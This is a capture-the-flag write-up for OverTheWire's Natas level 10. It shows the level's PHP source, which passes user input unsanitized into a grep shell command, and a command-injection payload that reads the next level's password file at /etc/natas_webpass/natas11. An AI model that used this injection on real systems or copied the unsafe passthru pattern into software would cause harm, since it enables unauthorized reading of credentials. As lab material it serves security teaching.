OverTheWire Wargames :: Natas :: Level 10
Level 10 > Level 11
Source…
<html>
[...]
<body>
<h1>natas10</h1>
<div id="content">
For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>
Output:
<pre>
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
</pre>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Same as the previous challenge but now we are forbidden to use a semicolon, pipe, or ampersand.
In this case, instead of breaking out of the command we’ll try to craft it to do what we want itself. By using a comment character we can eliminate dictionary.txt and insert our own choice of file. To be sure it will match, we’ll search for any letter or number.
Our injection…
[a-z0-9] /etc/natas_webpass/natas11 #
The command as executed by the system…
grep -i [a-z0-9] /etc/natas_webpass/natas11 # dictionary.txt
Sweet.
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